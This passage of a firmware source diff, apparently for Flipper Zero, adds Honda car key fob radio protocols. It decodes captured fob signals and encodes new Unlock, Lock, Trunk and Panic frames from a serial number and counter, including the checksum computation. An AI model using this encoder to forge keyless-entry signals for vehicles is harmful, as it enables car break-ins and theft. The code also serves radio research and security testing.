LevelDuration subghz_protocol_encoder_honda_static_yield(void* context) {
|
||||
SubGhzProtocolEncoderHondaStatic* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration duration = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return duration;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_honda_static_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
|
||||
SubGhzProtocolDecoderHondaStatic* instance = malloc(sizeof(SubGhzProtocolDecoderHondaStatic));
|
||||
furi_check(instance);
|
||||
memset(instance, 0, sizeof(*instance));
|
||||
|
||||
instance->base.protocol = &honda_static_protocol;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_static_free(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderHondaStatic* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_static_reset(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderHondaStatic* instance = context;
|
||||
instance->symbols_count = 0U;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_static_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderHondaStatic* instance = context;
|
||||
const uint8_t sym = honda_static_level_u8(level);
|
||||
|
||||
if((duration >= HONDA_STATIC_SHORT_BASE_US) &&
|
||||
((duration - HONDA_STATIC_SHORT_BASE_US) <= HONDA_STATIC_SHORT_SPAN_US)) {
|
||||
if(instance->symbols_count < HONDA_STATIC_SYMBOL_CAPACITY) {
|
||||
honda_static_symbol_set(instance->symbols, instance->symbols_count, sym);
|
||||
instance->symbols_count++;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if((duration >= HONDA_STATIC_LONG_BASE_US) &&
|
||||
((duration - HONDA_STATIC_LONG_BASE_US) <= HONDA_STATIC_LONG_SPAN_US)) {
|
||||
if((uint16_t)(instance->symbols_count + 2U) <= HONDA_STATIC_SYMBOL_CAPACITY) {
|
||||
honda_static_symbol_set(instance->symbols, instance->symbols_count, sym);
|
||||
instance->symbols_count++;
|
||||
honda_static_symbol_set(instance->symbols, instance->symbols_count, sym);
|
||||
instance->symbols_count++;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
const uint16_t sc = instance->symbols_count;
|
||||
|
||||
if(sc >= HONDA_STATIC_MIN_SYMBOLS) {
|
||||
if(!honda_static_parse_symbols(instance, true)) {
|
||||
honda_static_parse_symbols(instance, false);
|
||||
}
|
||||
}
|
||||
|
||||
instance->symbols_count = 0U;
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_honda_static_get_hash_data(void* context) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderHondaStatic* instance = context;
|
||||
const uint64_t data = instance->generic.data;
|
||||
|
||||
return (uint8_t)(data ^ (data >> 8U) ^ (data >> 16U) ^ (data >> 24U) ^ (data >> 32U) ^
|
||||
(data >> 40U) ^ (data >> 48U) ^ (data >> 56U));
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_honda_static_get_string(void* context, FuriString* output) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderHondaStatic* instance = context;
|
||||
HondaStaticFields decoded;
|
||||
honda_static_unpack_compact(instance->generic.data, &decoded);
|
||||
|
||||
furi_string_printf(
|
||||
output,
|
||||
"%s\r\n"
|
||||
"Key:%016llX\r\n"
|
||||
"Btn:%s\r\n"
|
||||
"Ser:%07lX Cnt:%06lX",
|
||||
instance->generic.protocol_name,
|
||||
(unsigned long long)instance->generic.data,
|
||||
honda_static_button_name(decoded.button),
|
||||
(unsigned long)decoded.serial,
|
||||
(unsigned long)decoded.counter);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_honda_static_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderHondaStatic* instance = context;
|
||||
instance->generic.data_count_bit = HONDA_STATIC_BIT_COUNT;
|
||||
HondaStaticFields decoded;
|
||||
honda_static_unpack_compact(instance->generic.data, &decoded);
|
||||
|
||||
SubGhzProtocolStatus status =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
if(status != SubGhzProtocolStatusOk) {
|
||||
return status;
|
||||
}
|
||||
|
||||
if(!flipper_format_write_uint32(flipper_format, "Serial", &decoded.serial, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
uint32_t btn_u32 = decoded.button;
|
||||
if(!flipper_format_write_uint32(flipper_format, "Btn", &btn_u32, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
if(!flipper_format_write_uint32(flipper_format, "Cnt", &decoded.counter, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
uint32_t temp = decoded.checksum;
|
||||
if(!flipper_format_write_uint32(flipper_format, "Checksum", &temp, 1)) {
|
||||
return SubGhzProtocolStatusErrorParserOthers;
|
||||
}
|
||||
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_honda_static_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
|
||||
SubGhzProtocolDecoderHondaStatic* instance = context;
|
||||
SubGhzProtocolStatus status = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, HONDA_STATIC_BIT_COUNT);
|
||||
if(status != SubGhzProtocolStatusOk) {
|
||||
return status;
|
||||
}
|
||||
|
||||
HondaStaticFields decoded;
|
||||
honda_static_unpack_compact(instance->generic.data, &decoded);
|
||||
uint32_t s = decoded.serial;
|
||||
uint32_t b = decoded.button;
|
||||
uint32_t c = decoded.counter;
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Serial", &s, 1);
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Btn", &b, 1);
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_read_uint32(flipper_format, "Cnt", &c, 1);
|
||||
|
||||
decoded.serial = s;
|
||||
decoded.button = (uint8_t)b;
|
||||
decoded.counter = c & 0x00FFFFFFU;
|
||||
|
||||
instance->generic.data = honda_static_pack_compact(&decoded);
|
||||
instance->generic.serial = decoded.serial;
|
||||
instance->generic.cnt = decoded.counter;
|
||||
instance->generic.btn = decoded.button;
|
||||
|
||||
return SubGhzProtocolStatusOk;
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
|
||||
#define HONDA_STATIC_PROTOCOL_NAME "Honda Static"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderHondaStatic SubGhzProtocolDecoderHondaStatic;
|
||||
typedef struct SubGhzProtocolEncoderHondaStatic SubGhzProtocolEncoderHondaStatic;
|
||||
|
||||
extern const SubGhzProtocol honda_static_protocol;
|
||||
|
||||
void* subghz_protocol_decoder_honda_static_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_decoder_honda_static_free(void* context);
|
||||
void subghz_protocol_decoder_honda_static_reset(void* context);
|
||||
void subghz_protocol_decoder_honda_static_feed(void* context, bool level, uint32_t duration);
|
||||
uint8_t subghz_protocol_decoder_honda_static_get_hash_data(void* context);
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_honda_static_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_honda_static_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_decoder_honda_static_get_string(void* context, FuriString* output);
|
||||
|
||||
void* subghz_protocol_encoder_honda_static_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_encoder_honda_static_free(void* context);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_honda_static_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_encoder_honda_static_stop(void* context);
|
||||
LevelDuration subghz_protocol_encoder_honda_static_yield(void* context);
|
||||
@@ -0,0 +1,808 @@
|
||||
#include "honda_v1.h"
|
||||
#include "../blocks/const.h"
|
||||
#include "../blocks/decoder.h"
|
||||
#include "../blocks/encoder.h"
|
||||
#include "../blocks/generic.h"
|
||||
#include "../blocks/math.h"
|
||||
#include <string.h>
|
||||
#include <lib/toolbox/level_duration.h>
|
||||
|
||||
#define HONDA_V1_BIT_COUNT 68
|
||||
#define HONDA_V1_TE_SHORT 1000
|
||||
#define HONDA_V1_TE_LONG 2000
|
||||
#define HONDA_V1_TE_DELTA 400
|
||||
#define HONDA_V1_TE_SHORT_MIN 600
|
||||
#define HONDA_V1_TE_END 3500
|
||||
#define HONDA_V1_VALID_MAX 0x4B
|
||||
#define HONDA_V1_NIBBLE_MASK 0x0FU
|
||||
#define HONDA_V1_SERIAL_MASK 0x0FFFFFFFU
|
||||
#define HONDA_V1_COUNTER_MASK 0xFFFFU
|
||||
#define HONDA_V1_LOW32_MASK 0xFFFFFFFFULL
|
||||
#define HONDA_V1_BUTTON_MAX 10U
|
||||
#define HONDA_V1_BUTTON_VALID_MASK 0x701U
|
||||
#define HONDA_V1_BUTTON_FALLBACK_CODE 0x00088888U
|
||||
#define HONDA_V1_UPLOAD_CAPACITY 2048U
|
||||
#define HONDA_V1_PREAMBLE_UPLOAD_COUNT 180U
|
||||
#define HONDA_V1_FRAME_SYMBOLS 80U
|
||||
#define HONDA_V1_FRAME_START 12U
|
||||
#define HONDA_V1_FRAME_SYNC_DROP 2U
|
||||
#define HONDA_V1_FRAME_REPEAT_PER_CRC 2U
|
||||
#define HONDA_V1_FRAME_BYTES 9U
|
||||
#define HONDA_V1_FRAME_CRC_INDEX 8U
|
||||
#define HONDA_V1_FRAME_GAP_US 5000U
|
||||
#define HONDA_V1_FRAME_GENERATED_MAX (HONDA_V1_FRAME_SYMBOLS * 2U)
|
||||
#define HONDA_V1_FRAME_TAIL_MAX 3U
|
||||
#define HONDA_V1_DECODE_BUFFER_BYTES 12U
|
||||
#define HONDA_V1_KEY_BYTES 8U
|
||||
#define HONDA_V1_CRC_FIELD "Crc"
|
||||
#define HONDA_V1_KEY_2_FIELD "Key_2"
|
||||
|
||||
typedef enum {
|
||||
HondaV1DecoderStepReset = 0,
|
||||
HondaV1DecoderStepPreamble,
|
||||
HondaV1DecoderStepData,
|
||||
} HondaV1DecoderStep;
|
||||
|
||||
typedef enum {
|
||||
HondaV1ButtonUnlock = 0,
|
||||
HondaV1ButtonLock = 8,
|
||||
HondaV1ButtonTrunk = 9,
|
||||
HondaV1ButtonPanic = 10,
|
||||
} HondaV1Button;
|
||||
|
||||
static const char* const honda_v1_button_names[HONDA_V1_BUTTON_MAX + 1U] = {
|
||||
[HondaV1ButtonUnlock] = "Unlock",
|
||||
[HondaV1ButtonLock] = "Lock",
|
||||
[HondaV1ButtonTrunk] = "Trunk",
|
||||
[HondaV1ButtonPanic] = "Panic",
|
||||
};
|
||||
|
||||
static const uint32_t honda_v1_button_codes[HONDA_V1_BUTTON_MAX + 1U] = {
|
||||
[HondaV1ButtonUnlock] = 0x00080808,
|
||||
[HondaV1ButtonLock] = 0x00088888,
|
||||
[HondaV1ButtonTrunk] = 0x00099190,
|
||||
[HondaV1ButtonPanic] = 0x000FA7A0,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderHondaV1 {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint8_t step;
|
||||
uint8_t preamble_count;
|
||||
bool preamble_has_long;
|
||||
bool data_pending;
|
||||
bool last_level;
|
||||
uint8_t bits[HONDA_V1_DECODE_BUFFER_BYTES];
|
||||
uint8_t bit_count;
|
||||
uint32_t pending;
|
||||
bool pending_valid;
|
||||
uint8_t k2;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderHondaV1 {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
uint8_t k2;
|
||||
};
|
||||
|
||||
static size_t honda_v1_emit(
|
||||
LevelDuration* upload,
|
||||
size_t index,
|
||||
size_t capacity,
|
||||
bool level,
|
||||
uint32_t duration) {
|
||||
if(index < capacity) {
|
||||
upload[index++] = level_duration_make(level, duration);
|
||||
}
|
||||
return index;
|
||||
}
|
||||
|
||||
static size_t honda_v1_emit_merge(
|
||||
LevelDuration* upload,
|
||||
size_t index,
|
||||
size_t capacity,
|
||||
bool level,
|
||||
uint32_t duration) {
|
||||
if(index == 0) {
|
||||
if(index < capacity) upload[index++] = level_duration_make(level, duration);
|
||||
return index;
|
||||
}
|
||||
if(index >= capacity) return index;
|
||||
|
||||
LevelDuration prev = upload[index - 1];
|
||||
if(level_duration_get_level(prev) == level) {
|
||||
upload[index - 1] = level_duration_make(
|
||||
level, level_duration_get_duration(prev) + duration);
|
||||
} else {
|
||||
upload[index++] = level_duration_make(level, duration);
|
||||
}
|
||||
return index;
|
||||
}
|
||||
|
||||
static size_t honda_v1_emit_short_pairs(
|
||||
LevelDuration* upload,
|
||||
size_t index,
|
||||
size_t capacity,
|
||||
uint32_t duration,
|
||||
size_t count) {
|
||||
for(size_t i = 0; i < count; i++) {
|
||||
if((index + 2U) > capacity) return index;
|
||||
upload[index++] = level_duration_make(true, duration);
|
||||
upload[index++] = level_duration_make(false, duration);
|
||||
}
|
||||
return index;
|
||||
}
|
||||
|
||||
static void honda_v1_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]) {
|
||||
for(size_t index = 0; index < 8; index++) {
|
||||
bytes[index] = (data >> ((7U - index) * 8U)) & 0xFFU;
|
||||
}
|
||||
}
|
||||
|
||||
static uint64_t honda_v1_bytes_to_u64_be(const uint8_t bytes[8]) {
|
||||
uint64_t data = 0;
|
||||
for(size_t index = 0; index < 8; index++) {
|
||||
data = (data << 8U) | bytes[index];
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static bool honda_v1_button_valid(uint8_t b) {
|
||||
if(b > HONDA_V1_BUTTON_MAX) return false;
|
||||
return ((HONDA_V1_BUTTON_VALID_MASK >> b) & 1U) != 0U;
|
||||
}
|
||||
|
||||
static const char* honda_v1_button_name(uint8_t b) {
|
||||
if((b < COUNT_OF(honda_v1_button_names)) && (honda_v1_button_names[b] != NULL)) {
|
||||
return honda_v1_button_names[b];
|
||||
}
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
static uint32_t honda_v1_button_code(uint8_t button) {
|
||||
if(!honda_v1_button_valid(button)) {
|
||||
return HONDA_V1_BUTTON_FALLBACK_CODE;
|
||||
}
|
||||
return honda_v1_button_codes[button];
|
||||
}
|
||||
|
||||
static bool honda_v1_duration_is(uint32_t d, uint32_t t) {
|
||||
return (d >= t) ? ((d - t) <= HONDA_V1_TE_DELTA) : ((t - d) <= HONDA_V1_TE_DELTA);
|
||||
}
|
||||
|
||||
static uint8_t honda_v1_crc_fold(uint16_t v) {
|
||||
const uint8_t lo = (uint8_t)(v & HONDA_V1_NIBBLE_MASK);
|
||||
const uint16_t hi = (uint16_t)(v >> 4U);
|
||||
int32_t s = (hi & 1U) ? (int32_t)lo : -(int32_t)lo;
|
||||
uint8_t out = (uint8_t)((s - (int32_t)hi) & 7);
|
||||
out |= (uint8_t)(((v >> 3U) & 1U) << 3U);
|
||||
if(((v >> 1U) & 1U) && (((v >> 4U) ^ (v >> 5U)) & 1U)) {
|
||||
out ^= 0x04U;
|
||||
}
|
||||
return (uint8_t)(out & HONDA_V1_NIBBLE_MASK);
|
||||
}
|
||||
|
||||
static uint8_t honda_v1_checksum_base(uint64_t data) {
|
||||
const uint8_t a = honda_v1_crc_fold((uint16_t)(data & HONDA_V1_COUNTER_MASK));
|
||||
const uint8_t b = honda_v1_crc_fold((uint8_t)((data >> 40U) & 0xFFU));
|
||||
return (uint8_t)((a ^ b ^ 1U) & HONDA_V1_NIBBLE_MASK);
|
||||
}
|
||||
|
||||
static uint8_t honda_v1_checksum_alternate(uint8_t checksum) {
|
||||
uint8_t mask = 0x09U;
|
||||
if((checksum & 1U) == 0U) {
|
||||
mask = (checksum & 2U) ? 0x0BU : HONDA_V1_NIBBLE_MASK;
|
||||
}
|
||||
return (uint8_t)((checksum ^ mask) & HONDA_V1_NIBBLE_MASK);
|
||||
}
|
||||
|
||||
static void honda_v1_checksum_wire_order(uint64_t data, uint8_t* first, uint8_t* second) {
|
||||
const uint8_t checksum = honda_v1_checksum_base(data);
|
||||
const uint8_t other = honda_v1_checksum_alternate(checksum);
|
||||
if((checksum & 0x08U) != 0U) {
|
||||
*first = other;
|
||||
*second = checksum;
|
||||
} else {
|
||||
*first = checksum;
|
||||
*second = other;
|
||||
}
|
||||
}
|
||||
|
||||
static bool honda_v1_crc_valid(uint64_t data, uint8_t crc) {
|
||||
uint8_t first = 0U;
|
||||
uint8_t second = 0U;
|
||||
honda_v1_checksum_wire_order(data, &first, &second);
|
||||
crc &= HONDA_V1_NIBBLE_MASK;
|
||||
return (crc == first) || (crc == second);
|
||||
}
|
||||
|
||||
static void honda_v1_decode_fields(SubGhzBlockGeneric* generic) {
|
||||
const uint32_t low = (uint32_t)(generic->data & HONDA_V1_LOW32_MASK);
|
||||
generic->serial = (uint32_t)((generic->data >> 36U) & HONDA_V1_SERIAL_MASK);
|
||||
generic->btn = (uint8_t)((low >> 28U) & HONDA_V1_NIBBLE_MASK);
|
||||
generic->cnt = low & HONDA_V1_COUNTER_MASK;
|
||||
generic->data_count_bit = HONDA_V1_BIT_COUNT;
|
||||
}
|
||||
|
||||
static uint64_t honda_v1_build_key(uint32_t serial, uint8_t button, uint16_t counter) {
|
||||
const uint32_t table = honda_v1_button_code(button);
|
||||
const uint32_t low = ((table & HONDA_V1_COUNTER_MASK) << 16U) | counter;
|
||||
const uint32_t high = ((serial & HONDA_V1_SERIAL_MASK) << 4U) | (table >> 16U);
|
||||
return ((uint64_t)high << 32U) | low;
|
||||
}
|
||||
|
||||
static void honda_v1_state_reset(SubGhzProtocolDecoderHondaV1* instance) {
|
||||
instance->step = HondaV1DecoderStepReset;
|
||||
instance->preamble_count = 0U;
|
||||
instance->preamble_has_long = false;
|
||||
instance->data_pending = false;
|
||||
instance->last_level = false;
|
||||
instance->bit_count = 0U;
|
||||
memset(instance->bits, 0, sizeof(instance->bits));
|
||||
}
|
||||
|
||||
static void honda_v1_add_bit(SubGhzProtocolDecoderHondaV1* instance, bool bit) {
|
||||
if(instance->bit_count > HONDA_V1_VALID_MAX) return;
|
||||
if(bit) {
|
||||
instance->bits[instance->bit_count >> 3U] |=
|
||||
(uint8_t)(1U << (((uint8_t)~instance->bit_count) & 0x07U));
|
||||
}
|
||||
instance->bit_count++;
|
||||
}
|
||||
|
||||
static bool honda_v1_commit(SubGhzProtocolDecoderHondaV1* instance) {
|
||||
if(instance->bit_count < HONDA_V1_BIT_COUNT) return false;
|
||||
|
||||
uint8_t aligned[sizeof(instance->bits)];
|
||||
memcpy(aligned, instance->bits, sizeof(aligned));
|
||||
|
||||
uint8_t shift_count = instance->bit_count - HONDA_V1_BIT_COUNT;
|
||||
if(shift_count < 1U) shift_count = 1U;
|
||||
|
||||
for(uint8_t shift = 0U; shift < shift_count; shift++) {
|
||||
for(size_t i = 0; i < sizeof(aligned) - 1U; i++) {
|
||||
aligned[i] = (uint8_t)((aligned[i] << 1U) | (aligned[i + 1U] >> 7U));
|
||||
}
|
||||
aligned[sizeof(aligned) - 1U] <<= 1U;
|
||||
}
|
||||
|
||||
const uint8_t button = (uint8_t)(aligned[4] >> 4U);
|
||||
if(!honda_v1_button_valid(button)) return false;
|
||||
|
||||
instance->generic.data = honda_v1_bytes_to_u64_be(aligned);
|
||||
instance->k2 = (uint8_t)(aligned[8] >> 4U);
|
||||
honda_v1_decode_fields(&instance->generic);
|
||||
|
||||
if(instance->base.callback) {
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void honda_v1_symbol(SubGhzProtocolDecoderHondaV1* instance, bool level, uint32_t duration) {
|
||||
const bool sh = honda_v1_duration_is(duration, HONDA_V1_TE_SHORT);
|
||||
const bool lg = honda_v1_duration_is(duration, HONDA_V1_TE_LONG);
|
||||
|
||||
if(!sh && !lg) {
|
||||
if(!level && (duration > HONDA_V1_TE_END) && (instance->step == HondaV1DecoderStepData)) {
|
||||
honda_v1_commit(instance);
|
||||
}
|
||||
honda_v1_state_reset(instance);
|
||||
return;
|
||||
}
|
||||
|
||||
if(instance->step == HondaV1DecoderStepReset) {
|
||||
if(level) {
|
||||
instance->step = HondaV1DecoderStepPreamble;
|
||||
instance->preamble_count = 1U;
|
||||
instance->last_level = level;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(instance->step == HondaV1DecoderStepPreamble) {
|
||||
if(lg) {
|
||||
if(instance->preamble_count < 0xFFU) instance->preamble_count++;
|
||||
instance->preamble_has_long = true;
|
||||
instance->last_level = level;
|
||||
return;
|
||||
}
|
||||
|
||||
if(sh) {
|
||||
if(instance->preamble_has_long && (instance->preamble_count > 5U)) {
|
||||
instance->step = HondaV1DecoderStepData;
|
||||
instance->bit_count = 0U;
|
||||
memset(instance->bits, 0, sizeof(instance->bits));
|
||||
instance->data_pending = true;
|
||||
instance->last_level = level;
|
||||
return;
|
||||
}
|
||||
if(instance->preamble_count < 0xFFU) instance->preamble_count++;
|
||||
instance->last_level = level;
|
||||
return;
|
||||
}
|
||||
|
||||
honda_v1_state_reset(instance);
|
||||
return;
|
||||
}
|
||||
|
||||
if(sh) {
|
||||
if(instance->data_pending) {
|
||||
honda_v1_add_bit(instance, level);
|
||||
instance->data_pending = false;
|
||||
instance->last_level = level;
|
||||
return;
|
||||
}
|
||||
instance->data_pending = true;
|
||||
instance->last_level = level;
|
||||
} else {
|
||||
if(instance->data_pending) {
|
||||
honda_v1_add_bit(instance, level);
|
||||
} else {
|
||||
honda_v1_add_bit(instance, instance->last_level);
|
||||
}
|
||||
instance->last_level = level;
|
||||
}
|
||||
}
|
||||
|
||||
static bool honda_v1_append_frame(
|
||||
SubGhzProtocolEncoderHondaV1* instance,
|
||||
size_t* index,
|
||||
const uint8_t frame[HONDA_V1_FRAME_BYTES]) {
|
||||
LevelDuration* upload = instance->encoder.upload;
|
||||
LevelDuration generated[HONDA_V1_FRAME_GENERATED_MAX];
|
||||
size_t generated_count = 0U;
|
||||
|
||||
for(uint32_t bit_index = 0U; bit_index < HONDA_V1_FRAME_SYMBOLS; bit_index++) {
|
||||
uint32_t bit;
|
||||
|
||||
if(bit_index >= HONDA_V1_FRAME_START) {
|
||||
const uint32_t data_index = (bit_index - HONDA_V1_FRAME_START) >> 3U;
|
||||
const uint8_t shift = (uint8_t)((11U - bit_index) & 0x07U);
|
||||
bit = (frame[data_index] >> shift) & 0x01U;
|
||||
} else {
|
||||
bit = ((uint32_t)~bit_index) & 0x01U;
|
||||
}
|
||||
|
||||
generated_count = honda_v1_emit_merge(
|
||||
generated, generated_count, COUNT_OF(generated), bit != 0U, HONDA_V1_TE_SHORT);
|
||||
generated_count = honda_v1_emit_merge(
|
||||
generated, generated_count, COUNT_OF(generated), bit == 0U, HONDA_V1_TE_SHORT);
|
||||
}
|
||||
|
||||
if(generated_count <= HONDA_V1_FRAME_SYNC_DROP) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const size_t copy_count = generated_count - HONDA_V1_FRAME_SYNC_DROP;
|
||||
if((*index + copy_count + HONDA_V1_FRAME_TAIL_MAX) > HONDA_V1_UPLOAD_CAPACITY) {
|
||||
return false;
|
||||
}
|
||||
|
||||
memcpy(
|
||||
&upload[*index], &generated[HONDA_V1_FRAME_SYNC_DROP], copy_count * sizeof(LevelDuration));
|
||||
*index += copy_count;
|
||||
|
||||
const bool tail_level = !level_duration_get_level(upload[*index - 1U]);
|
||||
*index = honda_v1_emit(upload, *index, HONDA_V1_UPLOAD_CAPACITY, tail_level, HONDA_V1_TE_SHORT);
|
||||
if(!tail_level) {
|
||||
*index = honda_v1_emit(upload, *index, HONDA_V1_UPLOAD_CAPACITY, true, HONDA_V1_TE_SHORT);
|
||||
}
|
||||
*index = honda_v1_emit(upload, *index, HONDA_V1_UPLOAD_CAPACITY, false, HONDA_V1_FRAME_GAP_US);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool honda_v1_build_upload(SubGhzProtocolEncoderHondaV1* instance) {
|
||||
furi_check(instance);
|
||||
|
||||
LevelDuration* upload = instance->encoder.upload;
|
||||
if(upload == NULL) return false;
|
||||
|
||||
uint8_t frame[HONDA_V1_FRAME_BYTES] = {0};
|
||||
uint8_t first = 0U;
|
||||
uint8_t second = 0U;
|
||||
size_t index = 0U;
|
||||
|
||||
index = honda_v1_emit_short_pairs(
|
||||
upload,
|
||||
index,
|
||||
HONDA_V1_UPLOAD_CAPACITY,
|
||||
HONDA_V1_TE_SHORT,
|
||||
HONDA_V1_PREAMBLE_UPLOAD_COUNT / 2U);
|
||||
if(index != HONDA_V1_PREAMBLE_UPLOAD_COUNT) {
|
||||
return false;
|
||||
}
|
||||
upload[index - 1U] = level_duration_make(false, HONDA_V1_FRAME_GAP_US);
|
||||
|
||||
honda_v1_u64_to_bytes_be(instance->generic.data, frame);
|
||||
honda_v1_checksum_wire_order(instance->generic.data, &first, &second);
|
||||
|
||||
const uint8_t crc_order[] = {first, second};
|
||||
for(size_t crc_index = 0U; crc_index < COUNT_OF(crc_order); crc_index++) {
|
||||
frame[HONDA_V1_FRAME_CRC_INDEX] = (uint8_t)(crc_order[crc_index] << 4U);
|
||||
for(size_t repeat = 0U; repeat < HONDA_V1_FRAME_REPEAT_PER_CRC; repeat++) {
|
||||
if(!honda_v1_append_frame(instance, &index, frame)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
instance->k2 = second;
|
||||
instance->encoder.front = 0U;
|
||||
instance->encoder.size_upload = index;
|
||||
return true;
|
||||
}
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_honda_v1_decoder = {
|
||||
.alloc = subghz_protocol_decoder_honda_v1_alloc,
|
||||
.free = subghz_protocol_decoder_honda_v1_free,
|
||||
.feed = subghz_protocol_decoder_honda_v1_feed,
|
||||
.reset = subghz_protocol_decoder_honda_v1_reset,
|
||||
.get_hash_data = subghz_protocol_decoder_honda_v1_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_honda_v1_serialize,
|
||||
.deserialize = subghz_protocol_decoder_honda_v1_deserialize,
|
||||
.get_string = subghz_protocol_decoder_honda_v1_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_honda_v1_encoder = {
|
||||
.alloc = subghz_protocol_encoder_honda_v1_alloc,
|
||||
.free = subghz_protocol_encoder_honda_v1_free,
|
||||
.deserialize = subghz_protocol_encoder_honda_v1_deserialize,
|
||||
.stop = subghz_protocol_encoder_honda_v1_stop,
|
||||
.yield = subghz_protocol_encoder_honda_v1_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol honda_v1_protocol = {
|
||||
.name = HONDA_V1_PROTOCOL_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Load |
|
||||
SubGhzProtocolFlag_Send,
|
||||
.decoder = &subghz_protocol_honda_v1_decoder,
|
||||
.encoder = &subghz_protocol_honda_v1_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_honda_v1_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
|
||||
SubGhzProtocolEncoderHondaV1* instance = malloc(sizeof(SubGhzProtocolEncoderHondaV1));
|
||||
furi_check(instance);
|
||||
memset(instance, 0, sizeof(*instance));
|
||||
|
||||
instance->base.protocol = &honda_v1_protocol;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->encoder.repeat = 1U;
|
||||
instance->encoder.size_upload = HONDA_V1_UPLOAD_CAPACITY;
|
||||
instance->encoder.upload = malloc(HONDA_V1_UPLOAD_CAPACITY * sizeof(LevelDuration));
|
||||
furi_check(instance->encoder.upload);
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_honda_v1_free(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderHondaV1* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
